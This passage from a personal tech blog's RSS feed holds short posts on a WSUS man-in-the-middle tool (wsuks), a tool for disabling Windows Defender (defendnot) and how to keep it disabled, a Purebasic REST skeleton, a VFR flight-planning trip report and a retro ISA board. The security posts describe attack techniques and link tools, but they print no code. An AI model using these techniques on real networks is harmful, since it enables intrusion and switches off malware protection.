&lt;p>&lt;a href="https://learn.microsoft.com/en-us/credentials/certifications/posts/mcsa-mcsd-mcse-certifications-retire-with-continued-investment-to-role-based-certifications">https://learn.microsoft.com/en-us/credentials/certifications/posts/mcsa-mcsd-mcse-certifications-retire-with-continued-investment-to-role-based-certifications&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Microsoft_Management_Console">https://en.wikipedia.org/wiki/Microsoft_Management_Console&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Service_Control_Manager">https://en.wikipedia.org/wiki/Service_Control_Manager&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-changeserviceconfig2a">https://learn.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-changeserviceconfig2a&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Charles_Petzold">https://en.wikipedia.org/wiki/Charles_Petzold&lt;/a>&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>&lt;a href="https://forbes.com/councils/forbescoachescouncil/2025/01/29/myth-busting-certifications-and-courses-dont-guarantee-a-promotion/">https://forbes.com/councils/forbescoachescouncil/2025/01/29/myth-busting-certifications-and-courses-dont-guarantee-a-promotion/&lt;/a>&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Exception_handling">https://en.wikipedia.org/wiki/Exception_handling&lt;/a>&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:12">
&lt;p>&lt;a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-xp/bb457006(v=technet.10)">https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-xp/bb457006(v=technet.10)&lt;/a>&amp;#160;&lt;a href="#fnref:12" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:13">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Microsoft_Silverlight">https://en.wikipedia.org/wiki/Microsoft_Silverlight&lt;/a>&amp;#160;&lt;a href="#fnref:13" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:14">
&lt;p>&lt;a href="https://www.borncity.com/blog/2025/07/12/teil-iii-microsoft-kuendigt-partner-csps-weitere-information-und-termine/">https://www.borncity.com/blog/2025/07/12/teil-iii-microsoft-kuendigt-partner-csps-weitere-information-und-termine/&lt;/a>&amp;#160;&lt;a href="#fnref:14" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Hacking WSUS</title><link>https://blog.jakobs.systems/en/micro/20250703-wsus-mitm/</link><pubDate>Thu, 03 Jul 2025 10:20:19 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20250703-wsus-mitm/</guid><description>If you have an own PKI in your AD, you may stop reading and move on. Nothing to see here. My gut however tell me, many mid-sized companies don't have one and are at the mercy of Alex Neff's Python script.</description><category>WSUS</category><category>Windows</category><category>Hacking</category><category>AD</category><category>Tools</category><content>&lt;p>If you have an own PKI in your AD, you may stop reading and move on. Nothing to see here. My gut however tell me, many mid-sized companies don&amp;rsquo;t have one and are at the mercy of Alex Neff&amp;rsquo;s Python script.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Wsuks&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> positions itself as man-in-the-middle between a Windows Update Server (WSUS) and the various servers/clients. It spoofs the WSUS IP in the ARP table. Upon contact (default: every 24 hours), a &lt;code>psexec64.exe&lt;/code> along with a PowerShell script is distributed to the machines and executed, including elevation to Administrator. The payload can be adjusted arbitrarily.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20250703-wsus-suks.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20250703-wsus-suks.webp#c" alt="Screenshot of wsuks" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>So far the only prerequisite: A WSUS must be operated in the AD without TLS.&lt;/p>
&lt;p>An elegant, easy-to-use tool for breaching and lateral movement. It&amp;rsquo;s build on the shoulders of GoSecure and their former tool pywsus, which pointed out the single point of failure, that WSUS represents.&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Yours,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://bsky.app/profile/al3x-n3ff.bsky.social">https://bsky.app/profile/al3x-n3ff.bsky.social&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://github.com/NeffIsBack/wsuks">https://github.com/NeffIsBack/wsuks&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://gosecure.ai/blog/2020/09/03/wsus-attacks-part-1-introducing-pywsus/">https://gosecure.ai/blog/2020/09/03/wsus-attacks-part-1-introducing-pywsus/&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>AV protection in every Windows system undermined</title><link>https://blog.jakobs.systems/en/micro/20250509-defender-disabled/</link><pubDate>Fri, 09 May 2025 07:40:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20250509-defender-disabled/</guid><description>Security through obscurity is not working. This is not an allegation, it is a proven fact. Today's proof has a particularly large impact on worldwide Microsoft Windows installations.</description><category>Microsoft</category><category>Windows</category><category>Defender</category><category>Concepts</category><category>Opensource</category><content>&lt;p>Security through obscurity&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> is not working. This is not an allegation, it is a proven fact. Today&amp;rsquo;s proof has a particularly large impact on worldwide Microsoft Windows installations.&lt;/p>
&lt;p>The Windows Security Centre (WSC) API&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> has been made to accept any program as an anti-virus solution. The WSC works as follows: If a manufacturer of an AV security solution wants to install his snakeoil, he/she first has to be able to switch off the anti-tempering mechanisms so that it is not identified as malware. Hence the extremely strict non-disclosure of this API until now.&lt;/p>
&lt;p>Now anyone with local admin rights can deactivate Windows Defender, at least until the next reboot. A few more steps are necessary to achieve persistence. A service is required, a regular keepalive timestamp must be written into the registry and a few more other steps. However, if, for example, defendnot is re-executed via the task scheduler on every restart, Windows Defender is effectively switched off.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20250509-defendnot.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20250509-defendnot.webp#c" alt="Defendnot auf Codeberg" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Defendnot is the successor to the no-defender&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> presented last year, which still needed a DLL from a snakeoil manufacturer for this step. The solution was DCMA&amp;rsquo;d&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> and made me to clone it on Codeberg&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>And of course there is a clone on Codeberg for the current defendnot as well&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>Microsoft now finds itself in a real dilemma. A short-term change to the WSC and the installation process for snakeoil is almost impossible. Security through obscurity does not work, it never has.&lt;/p>
&lt;p>With this in mind,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Security_through_obscurity">https://en.wikipedia.org/wiki/Security_through_obscurity&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Security_and_Maintenance">https://en.wikipedia.org/wiki/Security_and_Maintenance&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://blog.jakobs.systems/micro/20240912-no-defender/">https://blog.jakobs.systems/micro/20240912-no-defender/&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Digital_Millennium_Copyright_Act">https://en.wikipedia.org/wiki/Digital_Millennium_Copyright_Act&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://codeberg.org/tomas-jakobs/no-defender">https://codeberg.org/tomas-jakobs/no-defender&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://codeberg.org/tomas-jakobs/defendnot/">https://codeberg.org/tomas-jakobs/defendnot/&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>rest-api-skeleton (Win+Linux) on codeberg.org</title><link>https://blog.jakobs.systems/en/micro/20250409-rest-api-skeleton/</link><pubDate>Wed, 09 Apr 2025 07:25:21 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20250409-rest-api-skeleton/</guid><description>Skeleton for a robust, multi-threaded HTTP REST-API. Cross-platform for Linux, Windows and OSX, w/o dependencies as single-file binary on Codeberg.org</description><category>Purebasic</category><category>REST</category><category>API</category><category>Tools</category><category>Opensource</category><content>&lt;p>Yes, I have a passion for exotic languages. This time I experimented with Purebasic&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> and wanted to see how quickly a robust, multi-threaded HTTP REST API could be created. Cross-platform for Linux, Windows and OS X, free of additional dependencies as a single-file binary behind a reverse proxy that takes care of everything with TLS and load balancing.&lt;/p>
&lt;p>The result is a complete skeleton framework that can be quickly customized for your own purposes. With only 100 KB, it is ridiculously small and extremely fast, with its own config file and logging. I even found time to integrate Swagger. The project is available on Codeberg, have fun!&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>&lt;/p>
&lt;p>In diesem Sinne,&lt;br>
Tomas Jakobs&lt;/p>
&lt;h3 id="update-from-18042025">Update from 18.04.2025:&lt;/h3>
&lt;p>The compiled single-file executable was originally 100 KB in size, but I had to say goodbye to that. With TLS support, the Linux version comes to 1.3 MB, the Windows executable to 1.7 MB. Still compact and above all without additional dependencies.&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://purebasic.com">https://purebasic.com&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://codeberg.org/tomas-jakobs/rest-api-skeleton">https://codeberg.org/tomas-jakobs/rest-api-skeleton&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Enroute in practice</title><link>https://blog.jakobs.systems/en/blog/20250125-enroute-flightplanning/</link><pubDate>Sat, 25 Jan 2025 17:00:02 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20250125-enroute-flightplanning/</guid><description>Update was es bei der Opensource Software Enroute Neues gibt und wie diese sich in der Praxis schlägt.Update on what's new with the open source software Enroute and how it performs in practice.</description><category>Enroute</category><category>Opensource</category><content>&lt;p>A few years ago, I introduced Enroute&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> and was immediately excited.&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> For the first time, there is an ‘uncluttered’ app for both (Linux) desktop and mobile devices for VFR navigation and planning. And it&amp;rsquo;s free and open source and covers all of Europe. A lot of progress has been made since then and I have been able to thoroughly test the operational capability of Enroute on various trips. I would like to share one of these trips here.&lt;/p>
&lt;h2 id="news-from-enroute">News from Enroute&lt;/h2>
&lt;p>In 2022, I criticised the restrictive handling of charts and flight information in Germany, but the situation has improved significantly. The DFS portal for general aviation&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> not only offers an AIP with all approach charts (VAC) of German aerodromes,&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> it also provides a usable web API for programming retrieval for third-party applications. Bravo!&lt;/p>
&lt;p>One such third-party software is the freely available but unfortunately proprietary AIPBrowserDE.&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> It can be used to create trip kits with the official charts. Enroute can import this data and display it geo-referenced inside the moving map.&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> Further improvements in handling and information processing complete the user experience. The font sizes for different end devices can be freely selected and weather information (e.g. density height) derived from the METAR data is shown aswell.&lt;/p>
&lt;h2 id="real-world-experience">Real World Experience&lt;/h2>
&lt;p>The aim of the mission in winter 2022 was to transfer a sports aircraft repaired by the manufacturer to its owner. From Prievidza in Slovakia to Münster in Germany. A 900 km crossborder trip across Europe through Slovakia, the Czech Republic and Germany. Doesn&amp;rsquo;t sound like much of a challenge. In recent years I have travelled more longer and further in the Scandinavian Wilderness as far as the North Cape&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20250125-enroute-chart.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20250125-enroute-chart.webp#c" alt="Screenshot of Enroute with the air zones of the Czech Republic" loading="lazy"/>&lt;small>Screenshot of Enroute with the air zones of the Czech Republic&lt;/small>&lt;/picture>
&lt;/p>
&lt;p>The season is the highlight of this mission. Deepest winter with snow and frost. The effective flying time is reduced to just a few hours on the shorter winter days, as the flight is flown in VFR visual flight conditions. At the same time, you have to plan more time for everything and pay attention to things which usually have no relevance in summer. There were a few challenges and risks:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Short preparation time. Orders for transfers usually come at short notice and quite spontaneously. After the phone call the day before the scheduled flight, I immediately took a regular commercial flight to Vienna and then an overnight taxi ride from Vienna to Prievidza in Slovakia. Arrival at the hotel was shortly before midnight. Takeover of the aircraft was already scheduled for 9.00 am. There was not much time for planning, MET and NOTAM briefing and flight plan submission, which was done shortly after getting up from the hotel room.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>The LZPE take-off site is less than an hour&amp;rsquo;s flight from the western border of Ukraine and there were numerous NOTAMS and active restricted military areas along the route to be observed.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Flying through the controlled airspace around the metropolis of Prague in the Czech Republic.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Finding a suitable airfield for refuelling in Germany. Not an easy task on this day due to icy runways. The original planning was to use the EDCJ Chemnitz Jahnsdorf airfield. Shortly after take-off it was clear that it was closed and I had to switch to my alternate EDAC Leipzig.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20250125-enroute-vorbereitung.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20250125-enroute-vorbereitung.webp#c" alt="Flight planning in Enroute on the laptop in the hotel room" loading="lazy"/>&lt;small>Flight planning in Enroute on the laptop in the hotel room&lt;/small>&lt;/picture>
&lt;/p>
&lt;p>The integration of the European maps in Enroute is done in an exemplary manner. All relevant airspaces can be loaded quickly on the Linux notebook, iOS tablet and Android navigation smartphone. Enroute&amp;rsquo;s ability to hold everything completely offline should not be underestimated. Only a sync via WebDAV (with your own Nextcloud) would be desirable.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20250125-enroute-start.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20250125-enroute-start.webp#c" alt="This is the aircraft to be transferred, shortly before take-off in wintry Prievidza" loading="lazy"/>&lt;small>This is the aircraft to be transferred, shortly before take-off in wintry Prievidza&lt;/small>&lt;/picture>
&lt;/p>
&lt;p>Thanks to the preparation, the flight itself was unproblematic and pure relaxation. At FL70, I was able to enjoy the Slovakian and Czech winter wonderland from above. There was a bit of work due to the frequent frequency transitions and the separation of traffic around Prague. On Decent, light ice formation on the wings close to the hazy ground added some excitement.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20250125-enroute-cockpit.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20250125-enroute-cockpit.webp#c" alt="Flightdeck on FL70 over Czech Republic" loading="lazy"/>&lt;small>Flightdeck on FL70 over Czech Republic&lt;/small>&lt;/picture>
&lt;/p>
&lt;p>The schedule included a generous time reserve for refuelling, which I had to make full use of. In the freezing cold, the fully refuelled plane refused to start. But the problem was quickly solved and I was able to catch up on the delay in flight. As planned, I landed in EDLT Münster on time with the last remaining sunshine.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20250125-enroute-tschechien.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20250125-enroute-tschechien.webp#c" alt="Winter wonderland landscape during the flight" loading="lazy"/>&lt;small>Winter wonderland landscape during the flight&lt;/small>&lt;/picture>
&lt;/p>
&lt;p>Thanks to Enroute, even short-notice flights across Europe can be reliably planned and carried out. It runs on my iOS tablet as well as on an Android smartphone that I only use for navigation as a backup. In my cross-checks with the available DWD online services and the aircraft&amp;rsquo;s built-in Garmin avionics, I couldn&amp;rsquo;t find any deviations or errors. On none of my flights in the last two years. For me as a VFR pilot, Enroute is a fully-fledged replacement for commercial software. Kudos!&lt;/p>
&lt;p>I would like to make three suggestions to the Enroute development team, who maintain this wonderful piece of software in their spare time:&lt;/p>
&lt;ul>
&lt;li>A sync function of plans via WebDAV with one&amp;rsquo;s own Nextcloud&lt;/li>
&lt;li>Hosting the project at Codeberg&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup> and not at Microsoft GitHub.&lt;/li>
&lt;li>An installation package for F-Droid&lt;/li>
&lt;/ul>
&lt;p>Yours,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://akaflieg-freiburg.github.io/enroute/">https://akaflieg-freiburg.github.io/enroute/&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20221004-akaflieg-enroute/">https://blog.jakobs.systems/blog/20221004-akaflieg-enroute/&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://dfs.de/homepage/de/services/allgemeine-luftfahrt/">https://dfs.de/homepage/de/services/allgemeine-luftfahrt/&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://aip.dfs.de/basicAIP/">https://aip.dfs.de/basicAIP/&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://mpmediasoft.de/products/AIPBrowserDE/help/AIPBrowserDE.html">https://mpmediasoft.de/products/AIPBrowserDE/help/AIPBrowserDE.html&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://akaflieg-freiburg.github.io/enrouteManual/03-tutorialAdvanced/04-vac.html">https://akaflieg-freiburg.github.io/enrouteManual/03-tutorialAdvanced/04-vac.html&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://ul-fluglehrer.de/blog/files/20190722-nordkapp.html">https://ul-fluglehrer.de/blog/files/20190722-nordkapp.html&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://codeberg.org/">https://codeberg.org/&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>PicoMem - All-in-One Retro-Board</title><link>https://blog.jakobs.systems/en/blog/20241206-picomem-retro-board/</link><pubDate>Fri, 06 Dec 2024 22:00:08 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20241206-picomem-retro-board/</guid><description>I recently discovered an all-in-one magic goodie for PCs from the eighties from the USA: The PicoMem board by FreddyV. This ISA bus plug-in card provides RAM, hard disc, floppy disc, sound card, USB, Bluetooth and even a network for old PCs</description><category>Retro</category><category>PicoMem</category><category>PC</category><category>Euro-PC</category><category>ISA</category><content>&lt;p>I recently discovered an all-in-one magic goodie for PCs from the eighties from the USA: The PicoMem board by FreddyV.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> This ISA bus plug-in card&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> provides RAM, hard disc, floppy disc, sound card, USB, Bluetooth and even a network for old PCs. Just the idea that I would be able to connect my Schneider Euro-PC&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> to the Internet or its predecessor&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> left me excited. At a price of just under 60 USD, I bought it immediately (note: customs duties for shipping to Europe will be added).&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20241210-picomem.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20241210-picomem.webp#c" alt="PicoMem Board by FreddyV with Soundmodule" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>This is how the little gadget looks like: Nomen est Omen: An 8-bit ISA plug-in card with some memory and a Raspberry Pico W.&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> This is where all the ‘magic’ happens. A Linux with DOSBox&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> emulates the various plug-in cards and controllers in software and ‘injects’ everything back to the ISA bus. It obtains its ISO images from the SD card, which it integrates as bootable hard disks and floppy drives. Base-Memory,&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup> XMS&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup> and EMS&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup> and even the Wifi module of the Raspberry Pico W are emulated and looped through as well. As an NE2000&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup> compatible network card, the latter is integrated into DOS and is made accessible with the aid of the mTCP&lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup> TCP/IP tools.&lt;/p>
&lt;p>The result is a kind of chimera&lt;sup id="fnref:12">&lt;a href="#fn:12" class="footnote-ref" role="doc-noteref">12&lt;/a>&lt;/sup> of old and new hard- and software. A truly impressive concept and engineering achievement.&lt;/p>
&lt;p>The software is completely open-source and lovingly maintained by FreddyV in a (unfortunately GitHub) Git repo.&lt;sup id="fnref:13">&lt;a href="#fn:13" class="footnote-ref" role="doc-noteref">13&lt;/a>&lt;/sup> However, simply plugging it in and getting started is not that easy. Knowledge of the old concepts, such as how IRQs and memory addresses work, everything about MS-DOS and its free derivative FreeDOS,&lt;sup id="fnref:14">&lt;a href="#fn:14" class="footnote-ref" role="doc-noteref">14&lt;/a>&lt;/sup> is all a prerequisite.&lt;/p>
&lt;p>In my experience, there was a small glitch: connected to the Euro-PC, the picoMem still required an external power supply via USB as well as a second of ‘thinking time’ before switching it on, so that the BIOS can recognise the memory and the drives.&lt;sup id="fnref:15">&lt;a href="#fn:15" class="footnote-ref" role="doc-noteref">15&lt;/a>&lt;/sup> However, the picoMem board is constantly being improved and with each new firmware version it gets a little better.&lt;/p>
&lt;p>A Schneider Euro-PC with only one ISA interface by default is the ideal machine for exactly this board. Up to now, I have solved the lack of free ISA slots not very elegantly with a triple extender board. Lo-Tec XTIDE,&lt;sup id="fnref:16">&lt;a href="#fn:16" class="footnote-ref" role="doc-noteref">16&lt;/a>&lt;/sup> 1MB memory card&lt;sup id="fnref:17">&lt;a href="#fn:17" class="footnote-ref" role="doc-noteref">17&lt;/a>&lt;/sup> and a VGA card for connecting a modern monitor were plugged into a kind of horizontal riser card extending out of the chassis. The MM12 amber monitor has its own connector, to which no modern monitor can be connected. This plug-in card zoo is not a pretty sight, even with a 3D-printed frame around it.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20241210-extender.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20241210-extender.webp#c" alt="My Zoo of ISA Cards. They will be be replaced by a single picoMem Board" loading="lazy"/>&lt;/picture>
&lt;/p>
